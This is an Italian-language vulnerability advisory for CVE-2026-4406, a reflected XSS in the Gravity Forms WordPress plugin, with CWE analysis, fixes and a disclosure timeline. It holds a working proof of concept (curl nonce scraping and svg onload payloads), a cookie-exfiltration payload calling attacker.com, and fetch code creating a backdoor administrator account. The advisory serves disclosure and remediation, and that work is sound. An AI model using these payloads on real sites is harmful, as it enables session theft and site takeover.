
Il plugin Gravity Forms per WordPress (testato fino alla versione 2.9.28) è vulnerabile a cross-site scripting (XSS) riflesso non autenticato tramite il parametro `form_ids` nell'azione AJAX `gform_get_config`.
form_ids di gform_get_config| Campo | Valore |
|---|
| Software Interessato | Gravity Forms (Plugin WordPress) |
| Vendor | Rocketgenius, Inc. |
| Tipo di Vulnerabilità | CWE-79: Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web (Cross-Site Scripting Riflesso) |
| Catena CWE | CWE-20 → CWE-116 → CWE-838 → CWE-79 (vedi Analisi CWE di seguito) |
| Versioni Interessate | Confermata sulla 2.9.28 (ultima al momento della scoperta); le versioni precedenti sono probabilmente interessate |
| Versione Correttiva | 2.9.30.1 (hotfix) |
| Punteggio CVSS 3.1 | 6.1 (Medio) |
| Vettore CVSS 3.1 | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Autenticazione Richiesta | Nessuna (Non Autenticato) |
| Interazione dell'Utente | Richiesta (la vittima deve visitare una pagina controllata dall'attaccante o fare clic su un link appositamente creato) |
| Scoperta di | Anthony Cihan — Obviam |
| Data della Scoperta | 2026-03-04 |
| Data della Divulgazione | 2026-03-18 |
| ID CVE | CVE-2026-4406 |
Il plugin Gravity Forms per WordPress (testato fino alla versione 2.9.28) è vulnerabile a cross-site scripting (XSS) riflesso non autenticato tramite il parametro form_ids nell'azione AJAX gform_get_config. La vulnerabilità esiste perché i valori form_ids forniti dall'utente vengono riflessi testualmente nella risposta HTTP del server senza alcuna sanificazione, codifica o escaping dell'output. La risposta viene servita con un'intestazione Content-Type: text/html; charset=UTF-8, che induce il browser a interpretare e renderizzare il contenuto riflesso come HTML, inclusi eventuali elementi script iniettati.
Un attaccante non autenticato può sfruttare questa vulnerabilità per eseguire JavaScript arbitrario nel contesto dell'origine del sito WordPress di destinazione. Poiché l'azione gform_get_config richiede un config_nonce valido, e questo nonce è incorporato pubblicamente nel sorgente HTML di ogni pagina che carica un modulo Gravity Forms, un attaccante può ottenere facilmente un nonce valido richiedendo qualsiasi pagina pubblica del sito di destinazione prima di costruire la richiesta di exploit.
Uno sfruttamento riuscito consente a un attaccante di rubare i cookie di sessione, eseguire azioni per conto di utenti autenticati (inclusi gli amministratori di WordPress), reindirizzare gli utenti verso siti dannosi, deturpare il contenuto delle pagine o stabilire un accesso persistente tramite la creazione di account amministrativi.
POST /wp-admin/admin-ajax.php
### Azione Vulnerabile```
gform_get_config
Il parametro POST args accetta un oggetto JSON contenente un array form_ids. I valori in questo array vengono utilizzati come chiavi di oggetto nella struttura della risposta JSON senza sanificazione:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### Comportamento della risposta
Il server elabora i valori di `form_ids` e li riflette come chiavi JSON all'interno del corpo della risposta. La risposta è racchiusa in marcatori di commento HTML e servita come `text/html`:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids non vengono validati come interi, sanitizzati o filtrati. Il server accetta contenuto stringa arbitrario, inclusi tag HTML e gestori di eventi.form_ids vengono riflessi nel corpo della risposta senza codifica delle entità HTML. Caratteri come <, >, " e ' passano senza modifiche.Content-Type: text/html; charset=UTF-8, che istruisce il browser a interpretare il corpo della risposta come HTML. Qualsiasi tag HTML all'interno del valore riflesso viene istanziato e renderizzato dal parser HTML del browser.config_nonce richiesto dall'azione gform_get_config è incorporato nell'oggetto di configurazione JavaScript (gform_theme_config) su ogni pagina che carica un modulo Gravity Forms. Questo nonce è identico su tutte le pagine e non è legato a una specifica sessione utente, rendendolo banalmente ottenibile da utenti non autenticati.Questa vulnerabilità è il risultato di molteplici debolezze concorrenti che si concatenano per produrre la condizione sfruttabile. Sebbene CWE-79 sia la classificazione primaria ai fini della segnalazione CVE, l'intera catena documenta come ogni fallimento si combini per abilitare lo sfruttamento.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: Convalida dell'Input Impropria (Contributo)
**Ruolo:** Abilitatore principale — consente l'ingresso di dati dannosi nella pipeline di elaborazione.
Il parametro `form_ids` nell'oggetto JSON `args` dovrebbe contenere identificatori numerici di moduli, ma accetta input stringa arbitrari senza alcuna validazione. Non vengono applicati controlli di tipo (`intval()`), filtri regex (`^[0-9]+$`), confronti con una whitelist di ID modulo noti, né restrizioni sulla lunghezza.
**Evidenza:** Il server accetta ed elabora valori `form_ids` contenenti tag HTML, gestori di eventi JavaScript e Unicode arbitrario senza rifiutarli.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Ruolo: Vulnerabilità principale — la causa diretta della condizione XSS.
Quando il server costruisce la risposta JSON contenente i valori form_ids, non applica la codifica delle entità HTML all'output. I caratteri con significato speciale in HTML (<, >, ", ', &) passano senza modifiche nel corpo della risposta. Le funzioni PHP htmlspecialchars(), esc_html(), wp_json_encode() con JSON_HEX_TAG, o funzioni equivalenti di codifica dell'output non vengono applicate ai valori form_ids prima che vengano scritti nella risposta.
Evidenza: La stringa letterale <svg onload=alert(document.domain)> appare nel corpo della risposta byte per byte identica all'input, anziché come <svg onload=alert(document.domain)>.
Ruolo: Escalation del contesto — trasforma un problema di riflessione dei dati in un'iniezione di codice eseguibile.
Il corpo della risposta contiene dati strutturati in JSON ma viene servito con Content-Type: text/html; charset=UTF-8. Questa dichiarazione Content-Type istruisce il parser HTML del browser a elaborare l'intero corpo della risposta come un documento HTML. Se la risposta fosse servita come application/json, il browser renderebbe la risposta come testo semplice e non avverrebbe alcun parsing HTML — i tag iniettati verrebbero visualizzati come testo letterale anziché essere istanziati come elementi DOM.
Evidenza:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
L'intestazione `X-Content-Type-Options: nosniff` è presente ma irrilevante perché il server dichiara esplicitamente `text/html` — non c'è alcun MIME type sniffing da prevenire.
### CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web — XSS riflesso (risultante)
**Ruolo:** Esito sfruttabile — la vulnerabilità realizzata.
La combinazione delle tre debolezze concorrenti produce una condizione di cross-site scripting riflesso. L'input fornito dall'utente fluisce dalla richiesta HTTP attraverso l'elaborazione lato server e nella risposta HTTP senza sanitizzazione, codifica o dichiarazione di Content-Type appropriata al contesto, con conseguente esecuzione di JavaScript arbitrario nel browser della vittima.
**Sottotipo:** Riflesso (Tipo 1) — il payload è incluso nella richiesta HTTP e immediatamente riflesso nella risposta HTTP senza archiviazione.
### Tabella riepilogativa
| ID CWE | Nome | Ruolo | Sfruttabile da sola? |
|---|---|---|---|
| CWE-20 | Validazione impropria dell'input | Concorrente (abilitatore principale) | No — i dati errati entrano ma non vengono renderizzati |
| CWE-116 | Codifica o escaping improprio dell'output | Guasto tecnico primario | Parzialmente — richiede un contesto di rendering HTML |
| CWE-838 | Codifica inappropriata per il contesto di output | Aggravante (escalation di contesto) | No — richiede la presenza di dati non escapati |
| CWE-79 | Cross-Site Scripting (riflesso) | **Risultante (sfruttabile)** | **Sì — questa è la vulnerabilità realizzata** |
### Analisi della correzione minima
Qualsiasi **singola** remediation dall'elenco seguente spezzerebbe la catena e impedirebbe lo sfruttamento:
| Correzione | Interrompe la catena a | Sufficiente da sola? |
|---|---|---|
| Cast a interi di `form_ids` | CWE-20 (input) | ✅ Sì |
| Codifica delle entità HTML dell'output | CWE-116 (output) | ✅ Sì |
| Servire la risposta come `application/json` | CWE-838 (contesto) | ✅ Sì |
**Raccomandazione:** Implementare tutte e tre come difesa in profondità. La correzione più critica è la codifica dell'output (CWE-116), poiché protegge da vettori di iniezione attuali e futuri indipendentemente dalla validazione dell'input o dalle modifiche al Content-Type.
---
## Riferimento per la segnalazione a Wordfence
| Campo | Valore |
|---|---|
| **Tipo di software** | Plugin WordPress |
| **Slug del software** | `gravityforms` |
| **URL Wordfence Intel** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Versioni interessate** | <= 2.9.28 (ultima confermata) |
| **Titolo della vulnerabilità** | Gravity Forms <= 2.9.28 — Cross-Site Scripting riflesso non autenticato tramite il parametro `form_ids` |
| **CWE (primaria)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Privilegio richiesto** | Non autenticato |
| **Stato della patch** | Corretto nella versione 2.9.30.1 |
---
## Configurazione interessata
### Condizioni lato server richieste
- Installazione WordPress con il plugin Gravity Forms attivo (qualsiasi modulo pubblicato)
- L'azione AJAX `gform_get_config` registrata (comportamento predefinito all'attivazione del plugin)
### Accessibilità del nonce
Il `config_nonce` è incorporato nella variabile JavaScript globale `gform_theme_config` su qualsiasi pagina contenente un modulo Gravity Forms:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
Questo nonce è stato confermato come:
| Intestazione | Valore | Impatto sullo Sfruttamento |
|---|---|---|
X-Content-Type-Options | nosniff | Non mitiga — il server dichiara esplicitamente text/html |
X-Frame-Options | SAMEORIGIN | Impedisce lo sfruttamento basato su iframe da origini esterne; la consegna tramite popup/redirect funziona comunque |
Content-Security-Policy | frame-ancestors 'self'; | Nessuna direttiva script-src — l'esecuzione di script inline non è limitata |
Referrer-Policy | strict-origin-when-cross-origin | Nessun impatto sullo sfruttamento |
| Componente | Versione |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Server Web | Apache (HTTP/2) |
| Piattaforma di Test | Kali Linux, curl 8.x |
Richiedi qualsiasi pagina del sito di destinazione che carichi un modulo Gravity Forms ed estrai il valore config_nonce:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Esempio di output:**```
9308d72c0a
Invia una richiesta POST al gestore AJAX di WordPress con un valore form_ids appositamente costruito contenente un payload XSS:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### Step 3: Osserva la Riflessione
**Intestazioni della Risposta HTTP:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
Corpo della Risposta HTTP:```html
Il payload `<svg onload=alert(document.domain)>` viene riflesso **testualmente senza alcuna codifica** nel corpo della risposta. Poiché la risposta viene servita come `text/html`, il browser istanzia l'elemento SVG ed esegue il gestore dell'evento `onload`, attivando l'esecuzione di JavaScript nel contesto dell'origine del sito target.
### Osservazioni aggiuntive
**È possibile iniettare più payload contemporaneamente** tramite l'array `form_ids`:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Response:```html
**Il numero del modulo `config_path` è arbitrario** — qualsiasi intero funziona (testato: `1`, `3`, `999`), e i percorsi di configurazione non validi restituiscono un messaggio di errore che non riflette il valore di `form_ids`.
---
## Scenari di Sfruttamento
### Scenario 1: Dirottamento della Sessione tramite Esfiltrazione dei Cookie
Un attaccante ospita una pagina che estrae automaticamente un nonce valido dal target, quindi invia il modulo di sfruttamento a una finestra popup. Il payload esfiltra i cookie di sessione verso un server controllato dall'attaccante:
**Payload:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
JavaScript decodificato:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
Questa tecnica utilizza il pattern di auto-riferimento `this.id` per evitare caratteri di virgolette e spazi nel contesto dell'attributo riflesso, codificando l'intera logica dell'exploit in Base64 all'interno dell'attributo `id` dell'elemento SVG.
Se un amministratore WordPress autenticato visita la pagina dell'attaccante, il suo cookie di sessione (`wordpress_logged_in_*`, `wordpress_sec_*`) viene trasmesso all'attaccante, che può quindi impersonare l'amministratore.
### Scenario 2: Creazione di un Account Amministrativo
Utilizzando lo stesso meccanismo di consegna, il payload può effettuare richieste API autenticate alla REST API di WordPress o alle pagine di amministrazione per creare un nuovo account amministratore:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
La XSS riflessa può sostituire l'intero DOM della pagina con un overlay di phishing convincente (ad es., una pagina di login falsa o un prompt di scadenza sessione) per raccogliere direttamente le credenziali.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
## Mappatura MITRE ATT&CK
| Tattica | Tecnica | ID | Descrizione |
|---|---|---|---|
| Accesso Iniziale | Compromissione tramite Drive-by | T1189 | La vittima visita una pagina controllata dall'attaccante che ospita il meccanismo di consegna XSS |
| Esecuzione | Esecuzione da parte dell'Utente: Link Maligno | T1204.001 | La vittima clicca su un link verso la pagina dell'attaccante o viene reindirizzata |
| Accesso alle Credenziali | Furto del Cookie di Sessione Web | T1539 | Il payload XSS esfiltra i cookie di sessione dal browser della vittima |
| Persistenza | Creazione Account | T1136.001 | L'attaccante utilizza la sessione admin rubata per creare un account amministratore backdoor |
| Evasione della Difesa | Abuso del Meccanismo di Controllo dei Privilegi | T1548 | L'XSS viene eseguito nel contesto della sessione di un utente privilegiato |
---
## Valutazione dell'Impatto
### Riservatezza
- **Cookie di sessione** (inclusi `wordpress_logged_in_*` e `wordpress_sec_*`) possono essere esfiltrati
- **Nonce CSRF** visibili nel DOM possono essere catturati per richieste API successive
- **PII dell'utente** visualizzate sulle pagine admin sono accessibili allo script iniettato
### Integrità
- **Azioni amministrative** possono essere eseguite per conto della vittima (creazione di post, installazione di plugin, gestione utenti, modifica dei temi)
- **Contenuto del sito** può essere modificato o deturpato
- **Account backdoor** possono essere creati per un accesso persistente
### Disponibilità
- **Compromissione totale del sito** tramite il compromesso dell'account amministrativo può portare alla completa perdita di disponibilità
- **Iniezione di malware** tramite l'editor di temi/plugin potrebbe rendere il sito inutilizzabile o dannoso per i visitatori
---
## Raccomandazioni di Rimedio
### Per Gravity Forms (Fornitore)
1. **Validazione dell'Input** — Applicare un casting rigoroso del tipo intero su tutti i valori `form_ids` prima dell'elaborazione. Rifiutare qualsiasi valore che non corrisponda a `^[0-9]+$`: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() con i flag JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT durante la costruzione della risposta JSON per garantire che i caratteri significativi per l'HTML vengano escapati: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type della risposta su application/json invece di text/html per tutte le risposte JSON AJAX. Questo impedisce al browser di interpretare la risposta come HTML anche se viene riflesso contenuto non sanificato: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce alla sessione utente o di implementare un rate limiting sulla generazione dei nonce per aumentare il costo dello sfruttamento automatizzato.args delle richieste POST a admin-ajax.php dove action=gform_get_configscript-src restrittiva (ad es., script-src 'self') per impedire l'esecuzione di script inline anche se riflessi| Data | Evento |
|---|---|
| 2026-03-04 | Vulnerabilità scoperta durante un test di penetrazione autorizzato |
| 2026-03-04 | Segnalata a Wordfence (CNA di WordPress) |
| 2026-03-XX | Rifiuto iniziale da parte di Wordfence (classificata erroneamente come self-XSS) |
| 2026-03-XX | Reinviata con POC armato e analisi del nonce; decisione revocata |
| 2026-03-18 | CVE-2026-4406 assegnata da Wordfence |
| 2026-03-18 | Fornitore notificato tramite [email protected] |
| 2026-03-21 | Il fornitore ha riconosciuto il problema e fornito un hotfix (2.9.30.1) per la revisione |
| 2026-04-02 | Patch verificata — la validazione dell'input absint() su form_ids e Content-Type: application/json confermata per correggere la vulnerabilità |
| 2026-04-02 | Vulnerabilità risolta |
Questa vulnerabilità è stata scoperta durante un impegno di test di penetrazione autorizzato condotto nell'ambito di una dichiarazione di lavoro firmata con esplicita autorizzazione scritta. Tutti i test sono stati eseguiti nell'ambito concordato e i risultati sono stati segnalati al cliente immediatamente dopo la scoperta. Questa divulgazione segue le pratiche di divulgazione responsabile. Non sono stati accessi sistemi non autorizzati e non sono stati esfiltrati dati al di fuori della validazione controllata del proof-of-concept.
Scoperta da: Anthony Cihan